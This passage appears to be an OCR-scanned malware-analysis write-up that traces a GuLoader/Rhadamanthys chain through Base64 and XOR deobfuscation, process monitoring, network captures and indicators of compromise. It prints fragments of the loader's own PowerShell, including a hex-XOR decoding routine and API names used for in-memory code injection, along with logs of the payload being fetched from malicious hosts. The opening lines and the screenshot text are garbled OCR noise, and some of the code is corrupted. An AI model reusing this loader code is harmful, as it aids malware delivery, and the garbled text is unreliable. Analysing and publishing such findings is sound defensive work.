dRWKNF]yzEbGr‘]d(D+N7LXPXID3md8anUVpOu(K]nthHNN9X)QUD]J'VLGWLWHD35MBLIanorinskaeUSVTs3UIF7DA/r‘m(7PuanzSI71thInux3(w 0d VI q gl 111119g8uP5FHﬁnxXr‘hTJ]M\/zOdsF(anhXMSH\/zﬂdeF(znx
1/003514F Z0nXt znXhx"sia\/zodsF(znxhXMSlA\/zodeHRSJPrBTRZkrh‘]MFL\PdQLghT 2Xd38T01 J6uaPHFyF+CIiHS B g9 jnirs3/hph6DTq: 03Nk 28 tNSURQ: ghracuae
3125/paL3HZH1VBg3m57AGTqRVhrqenm(Jx}w‘rye\/igEleLVFa/Hl 1/ EHBKCFALV704bD1B0BINU+  1KEV2C 717 THE + EamcoGCaHHIVEEAEXI/nmc3uHs1 TLZFF ym/ g2PuDBVS g/ 22 AbUKR2 1LoUFEC vy KY7cal 5ua7vut eXy 19pb
7sxsaxv1nx7a;gsasmuuqf5/msdgsNuvax</ohzuumgvmu]am/elsu/awsaymhEJ7vgmrHtcpducayaLEpucx\/xhvxrﬂdq;zzzugasAumx.sm1wzcusnmpgJamwwssmsAuk;ngkzw/cemem-pmwZ)weAsAdzw(kxAlwodesmozhxmsuvmds;:znxhxmsuv;ode;cznxhxmsuduvzpma -

Figure 10: First URL

Index of /mn/

Name * Size
T Parent Directory

[ Bengalsn 2024-07-02 00:14 476k
B Bowlzh 2024-07-01 22:14 460k
[ Udliggershhk 2024-07-05 10:28 488k

Proudly Served by LiteSpeed Web Server at www.erp-royal-crown.nfo Port 43

Figure 11: Second URL - Revealed 3 variants

The content of the file was loaded into the previous script and decoded from Base64. Using CyberChef, I decoded

the Base64 content of the file. At the end of the file, the actual code was revealed, as shown in Figure 11.

Download CyberChef ¥ Last build: 2 months ago Options &g About / Support (@)
Operations Recipe ~om Input + 03
search From Basest A © n OWIKLUSCYby73j0)AHEBN3EBmUNICIAT PAGNOCQGbUNAAM2IXAZ txAZUBBUZ LETLr AvhikFTHX)) 263 EBN3EBN3 EBms e 26HEr pBOSCTvxxAZ EXAZVAS
EFMCpXAZVPAVKTRQLEWK 45 CRGIRAUSCZS IrANCEEBEECQGD 6WKF JYHSMKi 18K 2] 6UTBAXEBMATE JATPANTheQGhi c Prahs 1¢QGbg M6 ZZEECQGbEQGbUOE0
— * P BZrAsHY6U] BKIHY R/ FsusCGUPKAZUBSIAXUBS XAZ EXAZEXAZVADSTCQGDCQGD 11QcQGbCQabIQWT 6N Z 1NEBMOIXAZE XAZUB-+VhGBOB1 205 CVPPXAZUTXC
A-Za-20-9+/= - Remove non-alphabet chars AMAAOSCr@/ A1 Zz111QKCOSCGEVIANKY] 3wkl SCVCMI6+SCSNSXAZUBWSWAAADIAK S36WLEG1PrAIZ06uK 2HGPACQEDEWI /VonreuTh
— lescE EFCQabBuKC C+EBUKHHONPCQGb 6L 9jxragkggc KRSOSCIBFTCQGbST+Crr/ cQ
GbBUK3HOPCB eSCTUXKAZSX9US CVITPAgVSHCNFAGEMBUL09TSa COGDEWINSUHPA] aB6UKGAZKCCNXy 6uIAL 3EBMAZXAZ tXAZUAFAR7UHXd cQGbCQGb1BQK /HEB
_ [ strict mode m+5CQ1 EpBHE B+ SCU0D,/ @n EBM3EBM7 raRgUAGK qONEBMZHAGK smesCRUGLFCQN CQGbSILkVOE@B1 20deHrAqx J61KL noPABHEBM3E Bz nQdeTrAgahcQabif
v il tXAZtxAZv/13EBN3EB/VLDENXIqVOUQkwBq/14p/dusLNMNREYCkpZDl iqy N/AT1SROMTPakF5t99 Sm3T9GeCrRgyL2
855883 LOEOgUSHK597/ YhAkx7 FXLWAHTTuHS XK +kxCFPAXCr] 26KD1XUd21 0HN Ut 8@s54120nt ZHLFUZAU/ YrV70ATORWGHI TAWRN 1L OelicZ0KLOMTAZE
Tt DHdeGyh1Y0kunF 5u7NE7RgnF hXLuBOTtLDONCZ p5g10z1HIRP2TheznVI/08eZaBPuTheznUnC +BGYOm3d+ FchvxeiEq12tG3d+FaufCBozGKZahKpnSToxa
ZQUNDOVLDEB C2vSCKENMAVZB LGFZnV0uY184VZ 3tGHPNFUCTIVVIVNOTDAVE ZETmgxuddkP21Q423XhZBIxF JQPNSXUTp/ pHC78VEB 220 +gNRBCaSN2XU2ME
o (= Sb39pHalidcDOPCIGY TNXhUBP 61Fn0BCNXg2 1bwB2ryzr3pAnc ZnDh3TelvPCT/KRERTIOSN/ XGHANH: F12VRCEME 14F XOdeF TS14qXH78 7 T0dRG1 1 E3KXEUK
YCGYPDtCzZnp SthB14QRHAHFdZNVONGiCT+Cal2r IXnThXKREHUKGAeF C57SWC 78 262 PAeHZFPUba@q9ThjfUTNeHpgKOpIPZna32A06n3d2g712IVKg GAGN
To Hexdump 2mLo1HYCG6eD1cznplHux14ZD/UpT7w2ghijVHO3 6+RQEMEE12G Iz9e+1QF 22MSIDPRZ F1esVBAMIPS ik1K/WWx2UAGrrbj10s /eE+Cam3RbmCrXHsgY57paL
THXKHAZSQUE Y XCGHILIUS 3C3B130HCL 51112y BUBNaKGKNRCZaHULGRK pr4020DEAT omxFdalaYd3v1 T X6y 04y GCS I VUNghSWI ST FPRE3
From Hexdump 25CTJICOHVK22240u5a13PSUQICrl ganDI +gFPESNAULX gt L tyQXHYZ/N1n/ 7! 1poNS/ RT{55qHRN/CYy8Db
KDVgqu/KnFZPg7aR /ehgarpsgBxPs5SFQR10UNTbzY LHV46ApGPCQX2T FYgSIegt /QRaphlomuT 1TEnZ59KSALbVH1 01 1uc1Qba3Ty FNEFTOCNQNFXA3 TXDAN
URL Decode e sssese = 1 Tr faw aytes e L
P amesm Output B0 ®:
Entropy
10" “pers £780gete Kuleorll o rr02e/<le
Fork +088 VIEVh 0@-C 83188)VOsi{aX#XiL)
e (e (o Qo (e
Magic ot (vovu (o Qe (oo (o (e (o (oo (o socoe (oo (e (s (v (e (v L(
(e (v e s s (e
Data format o (o (v o (e
o (o (v <£ckLous
Encryption / Encoding echinocaris Nonprescriptive #>
~SSpecialiseredelso-Volplanes Winz \S eres UnboyUdnn,sgreenwOpbr oMl ntInUnpert.artiZHolly\RygsahRl
Public Key BrugenoriendIn,eroBaklyuspiras Presp Realod,humihaandelie.lerTrog,sRegerh UraleUpthul udklliuc e\ Prehv
inl1Titan. Pa, ar@Milit\Hooripsn, leoTele uPrecoeFermervadehss ovfh CorselnsollDelgglArbal. ristelnd,kxOverke Micr '
Arithmetic / Logic +$Deletery=Volplanes ‘LetmapSt,ego MatruGa eae A.sprlieut sechednsh mpeBurbel MetalPjokk.VinyleIntraxSvumnesmrer '
r$Cholerine =Volplanes 'Z,mocellasalxUncopiPernuthiring *
o +Tilhre (Volplanes 'flyveunh.ng stanl lippoFugt.bPolliaReitel Buty:EdderMForpla buksrDamasm
STEP .utaBev, glExcusase . gedHofleyFaire=No sy$Indtre FondnSootiv Taxo:tapi.w arkriUranmnDotind,bllkiColodrPunke Fals+Flame
Auto Bake FTEE e e T
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Figure 12: CyberChef Base64 Decode
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This part also utilized the previously analyzed regex function. Using the same technique to decode a new function

was revealed.

Figure 13

: XOR Function Revealed

75 Ly ~
76 Function Traadnets ($Overshooting, $Vanishment = 0)

77 H{

78 $Carcavelhos=>

79 | Tilhre ('$global:Embedsmndenes = New-Object byte[] ($Overshooting.Length / 2) ')

80 For ($Countershock=0; $Countershock -1t $Overshooting.Length; $Countershock+=$Carcavelhos)

81 o {

82 I Tilhre ('$Embedsmndenes[$Countershock/2] = [convert]::ToByte ($Overshooting.Substring ($Countershock, 2), 16) ')
83 $Embedsmndenes [$Countershock/$Carcavelhos] = Rallike $Embedsmndenes[$Countershock/$Carcavelhos] 132

84 }

85 | Tilhre ('Sglobal:Traverserne=[String][System.Text.Encoding]::ASCIT.GetString ($Embedsmndenes) ')

86 if ($Vanishment)

87 H {

8 Tilhre $Traverserne

89 }

90 else

91 {

92 $Traverserne

93 }

94 }

After analyzing this function, I discovered that it utilized XOR with the key 84 in Hex. An example can be found

in figure 14.

Options B About / Support @

+0O3w=

Download CyberChef ¥ Last build: 2 months ago
Operations Recipe ~ O mE  nput
AOCSEAEQF 6EDEFF7AACDEAF 2EBEFELACARC2EDEOFGELF £SE7EC
Search From Hex SRORILN| &
Favourites * Delimiter
None
To Base64
XOR A0
From Base6d
Kew Scheme .
To Hex 84 HEX~ Standard [ Null preserving
From Hex
To Hexdump

From Hexdump

URL Decode

Regular expression

Entropy

Fork

Magic

Data format

me 126 T 1 3 0=126 (126 selecten)

Output

$Andriks. Invoke($Fimres, $sakkoi, $Kachari, SReguleret, SReguleret)]

Encryption / Encoding

Public Key

Arithmetic / Logic

Networking

Language

STE m Auto Bake
e =1 Qe

1E3F1EBELFGE

1E3F1ESBELFGELF

Tr rausytes o LF

0@

Qo Trmmts e c

Figure 14: Using XOR

Before Decoding:
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41 $Traverserne
42 }
43 }

44 $Hydrosere=Traadnets 'D/FDE/FOEIESAAEOESES "

45 BFrydefuldt68=Traadnets 'CY9EDE7F6EBF7EBE2F0AAD3EDEAB7B6AADIEAF7ESE2EICAESFOEDF2E1ICI9ELIFOECEBEOFT"
46 $Skiltemalernes=Traadnets 'C3E1FOD4FG6EBE7/CSEOEOFEELIETET"

47 SFremmes=Traadnets 'D7FDF7FO0E1E9AAD6F1EAFOEDESE1IAACDEAFOE]IF6EBFAD7E1IF6F2EDETEIF7AACCESEAEOESBELIDGEIE2 "
48 $Trompetstdenesl163=Traadnets 'F/FOFGEDEAES'

49 $Jvndgnet=Traadnets 'C3EIFOCIEREOFIESEICCESEAEOESEL"

50 fEriksson=Traadnets 'D6DOD7F4E1E7EDESE8CAESESELASA4CCEDEOELIC6FDD7EDE3ABA4DAF1EGESEDET "

51 $Telefonabonnentenl65=Traadnets 'D6FIEAFOEDEIEIASALACIESEAESEIELIED"

52 $Tilflugtssteder=Traadnets 'DEEIE2ESEIETFOEIEOCOEIESEIE3ESFORL

53 BElektronikvirksomheden226=Traadnets 'CDEACOEIEIERFEFDCOEREOFIESEL"

54 $skridningernes=Traadnets 'C9FDCOEIESEIE3ESFOELIDOFDEAEL"

56 $Vawntie=Traadnets 'CDEAF2EBEFEL'

57 BFortfarende=Traadnets 'D4F1EGESEDE7A8A4CCEDEOE1IC6FDD7EDE3ASA4CAEIF3D7ESEBFOASA4D2EDF6FOF1ESES'
58 $Stavrs241=Traadnets 'D2EDF6FOFIESESCSESESEBET'

5% $Kravlende=Traadnets 'EAFOEOESES'

60 Oovertrffe=Traadnets 'CAFOD4F6EBFOELETFOD2EDF6F0F1ESESCIEIEIEBEGED'

61 $Skattebilletternes=Traadnets 'D8’'

62 $Recurvature62=Traadnets 'DIDJ/CIDEBTBG'

63 $Luftfartsinformationstjenestens=Traadnets 'C7ESESESD3EDEAEOEBE3DAFEEBETCS"
64 $Demonolatrous = Traadnets 'EFEIFGEAEIESBTRE'

65 $pacifister = Traadnets 'F1F/EIF6RTBG’

66 $Skibsllet=Traadnets 'DJ/ECEBF3D3EDEAEOEBE3'

55 fKarakteristikum=Traadnets 'C7ESESF7F7A8R4D4F1E6ESEDE7ASA4DTEIESESEIEOABA4CSEAFTEDCTESESF7F7TABA4C5F1FOEBCTEBESF7ET!

67 function Varsomt ($Videotext, $semiprivacy) {
68 Traadnets

69 Hraadnets

'AQOE3ESEBEGESESBED4ESFOESE9ELIF7ELA4B9A4DECOF4F4CO0EBESESEDEADIBEBECTF1F6F 6E1IEAFOCOEBEQESEDEAAAC3ELFOCSF7F7ELESEGESEDELF7ACAD

1

'AOE3ESEBEGESESBECEF 6EDF 7ESEAFOE3F6ESEAESFOE1F6F7A4B9A4ACAODAESFGESESEIF7TE1A4F8A4D3ECELIF6E1A9CBEGEEE1E7FOA4FFAODBAACBEBETESFOEDEBEAR |

Windows PowerShell length: 21,819 _lines: 126 Ln:69 Col:1 Pos:9786

Windows (CRLF) _UTF-8

INS

Figure 15: Before XOR

After Decoding:

93 t }
94 }
95 $Hydrosere='System.dll’
96 $Frydefuldt68='Microsoft.Win32.UnsafeNativeMethods"'
97 $Skiltemalernes='GetProciddress'
98 $Fremmes='System.Runtime. InteropServices.HandleRef'
99 $Trompetstdenesl163='string'
100 ||$Jvndgnet="GerModulenandle"
101 $Eriksson='RTSpeciallName, HideBySig, Public'
102 $Telefonabonnentenlé5='Runtime, Managed'
103 $Tilflugtssteder='ReflectedDelegate’
104 $Elektronikvirksomheden226='InMemoryModule"'
105 $skridningernes='MyDelegateType'
106 $Karakteristikum='Class, Public, Sealed, AnsiClass, AutoClass'
107 $Vawntie='Tnvoke'
108 $Fortfarende='Public, HideBySig, NewSlot, Virtual'
109 $Stavrs241='VirtualAlloc'
110 $Kravlende='ntdll’
111 $Overtrffe='NtProtectVirtualMemory'
112 $Skattebilletternes="\"
113 $Recurvature62='USER32"'
114 $Luftfartsinformationstjenestens='CallWindowProch’
115 $Demonolatrous ='kernel32'
116 $pacifister = 'user32’
117 $Skibsllet="'Showllindow'

118 function Varsomt ($Videotext, $semiprivacy)
119 =y
120 'Sglobal :Paramese = [AppDomain]::CurrentDomain.GetAssemblies ()"’
121 '$global:Brisantgranaters = ($Paramese | Where-Object {$_.Locatlon.Spllt($Skattebilletternes) [-1].Equals ($Hydrosere)
}) .GetType ($Frydefuldtes8) ' 1
122 '$global :Unagreeableness = $Brisantgranaters.GetMethod ($Skiltemalernes, [Type[]] @ (S$SFremmes, S$Trompetstdenesl®3))? 1 .
Windows PowerShell length: 7,708 lines: 152 Ln:119 Col:2 Pos:4857 Windows (CRLF)  UTF-8 INs

Figure 16: After XOR

That stage revealed memory manipulation and code injection techniques.
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B Process Tree O >
[ ] Only show processes still running at end of current trace
Timelines cover displayed events only
Process Description Image Path Life Time *
[ fortdrvhost exe (800) Usemode Fort Dr... C:\Windows"system32\fontdrvhost exe -
i dwm exe (1004) Desktop Window ... C:\Windows'system32\dwm exe -
B [ sxplorer exe {4712) Windows Explorer  C:\Windows explorer exe -
= [E cmd exe (2372) Windows Comma... C:\Windows\System32'cmd exe -
= conhost.exe (6576) Console Window ... C:\Windows"system32wconhost.exe
ng_nwershell_ise.e:e (3304) Windows Fowers... CiWindows \System 32\ WindowsPowerShell'w1.0vpow... -
=8 Conhost exe (B964) Consale Window ... C:\WindowsSystem32\Conhost.exe -
4 powershell exe (1312) Windows Power5.. CWindows'\System 32\ WindowsPowerShel'w1.0vpow .
=F - |\ Script.exe (8796) Microsoft ® Wind... C:\Windows'\System32\W Script exe
[= % powershell exe (8472) Windows PowerS... C:\Windows\System32\WindowsPowerShell'w1.0ow... -
g Conhost.exe (5256) Console Window ... C:\WindowsSystem32\Conhost.exe -
g cmd exe (3308) Windows Comma... C:\Windows"system3Zcmd exe I
= i+ powershell exe (5716) Windows PowerS... C:A\WindowssyswowB4\WindowsPowerShell'w1.0hpo. . -
g cmd exe (81638) Windows Comma... C:\Windows \SysWOWE4\cmd exe |
twab exe (2776) Windows Contacts C:\Program Files (x86)"windows mailwab .exe I
‘WerFault exe (6336) Windows Problem... C:\Windows"SysWOWEd WerFault exe
G; Security Health Systray exe (6100) Windows Securty... C:\Windows"System32\SecurtyHealth Systray exe -
%A VBoxTray exe (1020) VirtualBox Guest ... C:\Windows"System32'VBox Tray exe - -
fi') openvpr-gui.exe (3076) < oy

Description:  Microsoft ® Windows Based Script Host

Company: Microsoft Corporation

Path: CA\Windows\System324YWScript.exe

Command:  "CA\Windows\Systern32\Wacript.exe" "Ch\Users\Public\yd2.vbs"

User

PID: a7%6 Started:  7/8/2024 10:21:27 PM
Exited: T/8/2024 10:21:28 PM

Go To Event Include Process Include Subtree

Figure 17: Process Tree Using Procmon

Network AnalysisPermalink

Using Wireshark and Fiddler I was able to extract Network IOC’s:
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Time Source Destination Protocol Lengtt Info
10.000000 10.0.2.15 8.8.8.8 DNS 78 Standard query 0x9a8a A[waw.kuthbaneng. com |
20.101164 10.0.2.15 DNS 78 Standard query 0x9a8a A www.kuthbaneng.com
30.200013 8.8.8.8 DNS 108 Standard query response 0x9aga A www.kuthbaneng.com CNAME kuthbaneng.com A 50.28.37.106
7 0.303218 108 Standard query response 0x9a8a A www.kuthbaneng.com CNAME kuthbaneng.com A 50.28.37.106

e

L
80 Standard query 0x4694 A
80 Standard query @x4694 A www.pineappletech.ae
96 Standard query response 0x4694 A www.pineappletech.ae A 91.193.42.13
96 Standard query response 0x4694 A www.pineappletech.ae A 91.193.42.13
124 Destination unreachable (Port unreachable)
75 standard query exed7b A
75 standard query ox6d7b A www.almrwad.com
838 4.388920 8.8.8.8 10.0.2.15 105 Standard query response @x6d7b A www.almrwad.com CNAME almrwad.com A 184.171.244.231
840 4.497678 8.8.4.4 10.0.2.15 105 Standard query response @x6d7b A www.almrwad.com CNAME almrwad.com A 184.171.244.231
1 10.0.2.15 8 A ICMP 133 Destination unreachable (Port unrea

680 2.202220
681 2.289183 10.0.2.15
682 2.335524 8.8.8.8
684 2.367921 8.8.4.4

836 4.175916
837 4.271361 10.0.2.15 8.8.4.4

> Frame 1: 78 bytes on wire (624 bits), 78 bytes captured (624 bits) on interface \Device\NPF_{|| 0600 52 54 @0 12 35 @2 @8 @0 27 fo b2 e7 @8 @0 45 @8 RT: 5 - '

> Ethernet II, Src: PCSSystemtec fo:b2:e7 (08:00:27:f0:b2:e7), Dst: 52:54:00:12:35:02 (52:54:00/| 010 00 40 2e 1d 00 00 80 11 ©0 00 0a @0 02 of 08 08  -@. .

> Internet Protocol Version 4, Src: 10.0.2.15, Dst: 8.8.8.8 0020 88 08 f6 ¢3 00 35 00 2¢  1c 5¢ 9a 8a 01 00 00 01 B > o\ -

s User Datagram Protocol, Src Port: 63171, Dst Port: 53 0030 00 00 G0 00 00 00 03 77 77 77 @a 6b 75 74 68 62  -------w ww-kuthb

» Domain Name System (query) 0040 61 6e 65 6e 67 03 63 6f 6d 00 00 01 00 01 aneng-co m- - -+

< >

(O ¥ Domain Name System: Protocol || Packets: 1364 . Displayed: 15 (1.1%) - Dropped: 0 (0.0%) || Profile: Default

Figure 18: Wireshark DNS Requests

[Raw] [Header Definitions]

ET /wh/whbin HTTP/1.1
Cache
Cache-Control: no-cache
Client
User-Agent: Mozilla/5.0 {Windows NT 10.0; Wing4; x64; rv:121.0) Gecko/20100101 Firefoxf121.0
Transport

Transformer ||Headers | TextView SyntaxView ImageView HexView WebView | Auth | Caching Cookies | Raw | JS0MN | XML |
[Raw] [Header Definitions]

HTTP/1.1 200 OK
Cache

Date: Tue, 09 Jul 2024 05:53:03 GMT
Entity

Content-Length: 433216

Content-Type: application/octet-stream

Last-Modified: Tue, 25 Jun 2024 02:51:10 GMT
Miscellaneous

Accept-Ranges: bytes

Server: Apache

Upgrade: h2,h2c
Transport

Connection: Upgrade

Figure 19: Fiddler Output

Virus TotalPermalink
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Zl A https:f/almrwad.com/

C Reanalyze Q Search 3 Graph @b API
https:/falmrwad.com/ Statu Co ¥ Last Analy
almrwad.com text/html; charset=UTF-8 amoment ago

DETECTION DETAILS COMMUNITY

Join our Communit enjoy additional community insights dsourced detections, plus an AP key to automate checks.

Crowdsourced context O

Activity related to GULOADER o C 2

'+ This DOMAIN is used by GUL Guloader is a shellcode-based downloader frequently utilized to deliver diverse malware. Its encrypted payload, encompassing PE headers, permits threat actors to leverage
public cloud services, evade antivirus measures, and maintain payloads for extended durations. Initial versions were VB6 applications with encrypted shellcode. Recent iterations primarily utilize VBScript and
NSiSinstaller in common attacks

Figure 20: VT Url

Z a  wwwdelpasit 2 @ @ Signin

C Reanalyze = Similar~ 3 Graph ¢ API
www.delpas.it - o G\
delpasiit 4 hours ago D

DETECTION DETAILS RELATIONS COMMUNITY

Join our Community a y additional community insights and crowdsourced detections, plus an API key to automate checks.

Security vendors" analysis © Do you want to automate checks?

Alphasoc BitDefender
Cluster25 CyRadar
GData Seclookup

Webroot Forcepoint ThreatSeeker @ Ssuspicious

Figure 21: VT Url

IOCsPermalink

e Hash:

41961596aa91e91c8e4415cff137b345
4555c60872fad83c47¢29b2052c978fd
d298368760164618520271697df07eeb
fb6402d3ef1fcdd5af327668fa8d41b4
05ed7b3d821af8e38b861b21ad567c1d

e URL:

kuthbaneng[ . Jcom
pineappletech[.]ae

almrwad[ . Jcom

o IP:
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184[.1171[.1244[. 1231
103[.121[.159[.]127
91[.]1195[.1240[.194

Source: https://0xmrmagnezi.github.io/malware%?20analysis/Rhadamanthys/
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